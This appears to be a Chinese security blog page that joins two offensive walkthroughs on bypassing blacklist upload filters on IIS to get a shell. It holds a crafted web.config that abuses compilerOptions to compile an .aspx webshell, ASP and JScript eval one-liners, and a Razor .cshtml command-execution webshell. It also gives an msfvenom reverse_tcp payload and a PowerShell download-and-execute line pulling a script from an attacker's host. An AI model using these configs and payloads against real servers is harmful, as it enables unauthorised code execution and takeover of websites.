分类 WEB安全 下的文章

0x00 前言

IIS服务器 在上传过程中,若可以自定义保存后的文件名,是可以改变配置规则来使得任意后缀的文件以asp脚本的方式来获取shell。在大多数实战中,.net站点也会默认支持asp的运行。

之前在挖掘某CMS漏洞过程中,发现某处上传存在黑名单校验(ashx/aspx/asmx/asp/asa等)不过可以上传config文件和部分自定义后缀。上传后的路径为程序的一个子目录。可利用如下web.config绕过来解析执行asp程序,颇具一定的通杀效果。(前提条件是服务器的虚拟目录中运行使用ISAPI模块)

<?xml version="1.0" encoding="utf-8"?>
<configuration>
    <system.webServer>
        <directoryBrowse enabled="true" />
        <handlers>
            <add name="asdx" path="*.asdx" verb="GET,HEAD,POST,DEBUG" 
            modules="IsapiModule"                        
            scriptProcessor="%windir%\System32\inetsrv\asp.dll"
            resourceType="Unspecified" 
            requireAccess="Script" />
        </handlers>
    </system.webServer>
</configuration>

但也发现存在少数的情况,服务器默认不支持asp的执行,当时因为时间关系就放弃了

最近再次遇到了这样的场景,正好有时间来思考和解决

0x01 相关知识

攻击的方式简单来说很简单:既然无法解析asp,还是要通过写入aspx木马的方式来拿到权限。

虽然程序本身无法绕过,但既然运行*.config文件的写入,我们可以通过掌握使用其规则来达到的想要目的。
查阅了一些资料后,发现某外国安全研究者的一篇文章 https://soroush.secproject.com/blog/2019/08/uploading-web-config-for-fun-and-profit-2/

该文章介绍了使用web.config文件的多种攻击姿势,其中“compilerOptions”相关介绍似乎提供了一些办法

通过web.config文件中的compilers标签可以修改编译设置,如:我们可以定义编译语言的类型 并可以匹配某些指定的后缀来进行编译。
compiler的元素,可以支持三种默认类型:C# VB.NETJscript.NET.当指定为某个类型后,在编译时会该类型对应的编译程序。如指定类型为C#时,编译会调用 csc.exe

当定义如下规则时,会对语言为C#代码的.cs的文件进行编译处理。利用csc.exe 进行编译

...
<compilers>
    <compiler language="c#"
        extension=".cs"
        type="Microsoft.CSharp.CSharpCodeProvider,System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
        warningLevel="4" 
        compilerOptions=''/>
</compilers>
...

利用csc.exe编译时,可通过参数指定编译前的源文件位置,和编译后要存放的 路径及文件名称
另外,还有最重要一点,上述配置中的compilerOptions属性,可以将其值 作为参数来引入到编译器命令中。

0x02 攻击过程

了解了上述基础后,问题就迎刃而解了。
看下可控点:由于web.config内容是完全可控的,故 编译后缀,使用的编译程序,(恶意)源文件 乃至要编译后保存的路径名称 我们都可以进行控制。

如下记录下我本地环境的测试过程:

上传web.config

内容如下:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.web>
        <httpRuntime targetFramework="4.67.1"/>
        <compilation tempDirectory="" debug="True" strict="False" explicit="False" batch="True"
            batchTimeout="900" maxBatchSize="1000" maxBatchGeneratedFileSize="1000" numRecompilesBeforeAppRestart="15"
            defaultLanguage="c#" targetFramework="4.0" urlLinePragmas="False" assemblyPostProcessorType="">
            <assemblies>
            </assemblies>
            <expressionBuilders>
            </expressionBuilders>
            <compilers>
                <compiler language="c#"
                    extension=".cs;.config"
                    type="Microsoft.CSharp.CSharpCodeProvider,System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
                    warningLevel="4" 
                    compilerOptions=""/>
            </compilers>
        </compilation>
     <customErrors mode="Off" />
    </system.web>
    <system.webServer>
        <handlers>
            <add name="web_config" path="web.config" verb="*" type="System.Web.UI.PageHandlerFactory" resourceType="File" requireAccess="Script" preCondition="integratedMode" />
            <add name="123_config" path="123.config" verb="*" type="System.Web.UI.PageHandlerFactory" resourceType="File" requireAccess="Script" preCondition="integratedMode" />
 </handlers>
        <security>
            <requestFiltering>
                <hiddenSegments>
                    <remove segment="web.config" />
                </hiddenSegments>
                <fileExtensions>
                    <remove fileExtension=".config" />
                </fileExtensions>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>

注意,这里将 .config后缀也增加到了编译的后缀名单中。然后定义了一个123.config 作为handler。
并且开始了显错模式,<customErrors mode="Off" />。开启显错可到获取绝对路径信息,也方便解决问题。

访问后效果如下,获取到真实路径 c:\testweb\abc\

62377027.png

另外这里之所以报错,是因为 "web.config"文件本身 在访问过程中 也被进行编译处理了,但内容又是xml格式 不符合编译的语法规则,故显示了如上的错误。这里完全不影响后续的过程

上传"源文件"

这个源文件中含有 恶意代码,如一句话shell。
我使用的代码如下,网上随便复制的代码。符合C#的语法规则即可:

using System;

namespace Wrox.ProCSharp.Basics
{
 class MyFirstCSharpClass
 {
  static void Main()
  {
//<%@ Page Language="Jscript"%><%eval(Request.Item["test666"],"unsafe");%>
   Console.WriteLine("Hello World!");
   Console.ReadLine();
   return;
  }
 }
}

这里我之所以将一句话代码放在注释里,也是因为观察了解析后文件内容的结果。(放至注释中对编译前后两者均没什么影响。)
另外,这里要记下我们上传后的路径为 c:\testweb\xxoo.txt

修改web.config

解析来要修改下compilerOptions的值,传入我们的“源文件”路径,以及要保存的shell地址。
修改如下设置,并再次上传保存 web.config

compilerOptions="/resource:c:\testweb\xxoo.txt /out:c:\testweb\xxx.aspx"

接下来,就是想办法让 编译器及传入的参数正确的 执行了。直接访问web.config还是会报错,因为内容不规范。
还记得上面 定义了一个 "123.config"么,我们可以利用它来正确的“编译”shell

利用帮手

这里,我上传了一个内容为空的文件,并保存为123.config
这里内容为空 毫无影响,不仅不会引起报错 反倒会正确执行编译的过程。

上传后访问下123.config,编译成功。效果如下

63370225.png

获取shell

至此就完成了所有的步骤,访问下指定路径下的shell。
一句话成功解析,菜刀图略

63502138.png

0x03 后记

该姿势适用于场景:

  • 基于黑名单的上传,限制了aspx/ashx/asmx等后缀的写入
  • 可控的*.config被上传至某个程序子目录(虚拟目录)
  • IIS不支持ISAPI 和Razor,无法解析执行asp,cshtml等后缀

然后,有时间要系统了解下web.config 配置。

0x04 补充

在虚拟目录下,无法直接利用web.config来指定自定义后缀文件按照aspx来解析。
当利用上述姿势上传至某个upload目录或子目录中,且该层web.config中定义了静态后缀时,直接访问aspx或ashx会被下载。
可传入如下内容,覆盖上层规则达到解析效果:

<configuration>
    <system.webServer>
        <handlers accessPolicy="Read, Script, Write">
     <add name="xxx_aspx" path="xxx.aspx" verb="*" type="System.Web.UI.PageHandlerFactory" resourceType="File" requireAccess="Script" preCondition="integratedMode" />
            <add name="xxx_aspx-Classic" path="xxx.aspx" verb="*" modules="IsapiModule" scriptProcessor="%windir%\Microsoft.NET\Framework64\v4.0.30319\aspnet_isapi.dll" requireAccess="Script" preCondition="classicMode,runtimeVersionv4.0,bitness64" />
        </handlers>
        <security>
            <requestFiltering>
                <fileExtensions>
                    <remove fileExtension=".config" />
                </fileExtensions>
                <hiddenSegments>
                    <remove segment="web.config" />
                </hiddenSegments>
            </requestFiltering>
        </security>
        <validation validateIntegratedModeConfiguration="false" />
    </system.webServer>
    <system.web>
        <httpHandlers>
     <add path="xxx.aspx" type="System.Web.UI.PageHandlerFactory" verb="*" />
        </httpHandlers>
        <compilation tempDirectory="" debug="True" strict="False" explicit="False" batch="True"
            batchTimeout="900" maxBatchSize="1000" maxBatchGeneratedFileSize="1000" numRecompilesBeforeAppRestart="15"
            defaultLanguage="c#" targetFramework="4.0" urlLinePragmas="False" assemblyPostProcessorType="">
            <assemblies>
            </assemblies>
            <expressionBuilders>
            </expressionBuilders>
        </compilation>
        <customErrors mode="Off" />
    </system.web>
</configuration>

IIS服务器有自己的保护机制,buildProviders中绑定的后缀,只能由应用程序的根路径的web.config来定义。

0x01 准备

测试目标:Windows 08R2 + IIS7.0
公网msf ,接收反弹shell

1.初始安装IIS

c1.PNG

2.安装 .Net Framework 4.0

地址:https://www.microsoft.com/zh-cn/download/confirmation.aspx?id=17718

若先安装.Net4.0而后安装但IIS,IIS中则未注册.Net4.0,可以采取如下命令注册至IIS

C:\WINDOWS\Microsoft.NET\Framework\v4.0.xxxx\aspnet_regiis.exe -i

成功安装后,如下所示。

c2.png

3.配置程序池

接下来对规则限制进行修改,更改为 “允许”。在web路径下,创建cshtml文件。

c3.png

但此时无法访问,查看发现返回404。还需要在对站点配置进行修改,将应用程序池,更改为ASP.NET 4.0

c4.png

保存后,再次访问发现已可以访问到创建的cshtml格式文件。

c5.png

4.安装.Net MVC3

但此时仍旧无法识别解析该类型文件,因为cshtml这是ASP.NET MVC3才开始引入的一种文件类型。所以还要安装MVC3。
地址http://www.microsoft.com/en-us/download/details.aspx?id=4211
安装完后,再访问发现不会再报出错误信息。

0x02 关于cshtml

写一小段简单的代码,看是否可以顺利执行。最简单的,字符串输出
(参照Razer语法 https://www.runoob.com/aspnet/razor-syntax.html

@{ var myMessage =    "Hello World"; }
The value of myMessage is: @myMessage

c6.png

可以成功解析了,这时候可以使用cshtml的shell,执行命令并输出。

@using System.CodeDom.Compiler;
@using System.Diagnostics;
@using System.Reflection;
@using System.Web.Compilation;
@functions {
string ExecuteCommand(string command, string arguments = null)
{
var output = new System.Text.StringBuilder();
var process = new Process();
var startInfo = new ProcessStartInfo
{
FileName = command,
Arguments = arguments,
WorkingDirectory = HttpRuntime.AppDomainAppPath,
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false
};
process.StartInfo = startInfo;
process.OutputDataReceived += (sender, args) => output.AppendLine(args.Data);
process.ErrorDataReceived += (sender, args) => output.AppendLine(args.Data);
                process.Start();
process.BeginOutputReadLine();
process.BeginErrorReadLine();
process.WaitForExit();
return output.ToString();
}
}
      @{
var cmd = ExecuteCommand("cmd.exe", "/c whoami /all");
        }

@cmd

直接访问 cshtml文件,代码会执行whoami 并查看结果。

c7.png

0x03 利用cshtml反弹shell

只是通过这样的shell不太方便操作,实际环境中 可以wget或echo一个aspx马,或通过命令反弹个shell。
这里测试,利用powershell反弹metesploit的shell

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=监听ip LPORT=23333 -f psh-reflection > test666.ps1

接着在ps脚本当前目录下,开启web服务

python -m SimpleHTTPServer 8888

然后将cshtml部分代码进行修改后传至服务器,通过远程加载msfvenom生成的powershell进行反弹shell

      @{
var cmd = ExecuteCommand("cmd.exe", "/c powershell -windowstyle hidden -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://公网ip:8888/test666.ps1');test666.ps1\"");
        }

@cmd

在msfconsole设置监听,刷新cshtml页面后,成功获取meterpreter,如图所示。

c8.png

0x04 利用vbhtml写入一句话

同理 同等环境下,同为Razor前端模版文件的vbhtml 也可以解析执行。语法遵从 razor规范 可写入VB.Net代码。

我这里 简单写个代码,在当前路径下输出asp的一句话。(写webshell是另个方向的东西,这里暂时不深入。)

@Code
dim doorname = server.MapPath(".") & "\" & "test666.asp"
dim echodoor = shell("cmd.exe /c echo ^<%eval request(0) %^> > " & doorname)
End Code

@If echodoor>0 Then
    @<p>success,shell:@doorname</p>
Else
    @<p>fail </p>
End If 

访问vbhtml页面后,再通过菜刀成功连接shell。

c9.png

0x05 思考总结

某些环境中,通过黑名单方式限制了上传文件的后缀类型。可以尝试通过cshtmlvbhtml格式进行突破

注意:该类型文件解析需满足条件:程序池.Net 4.0已安装MVC3,支持Razor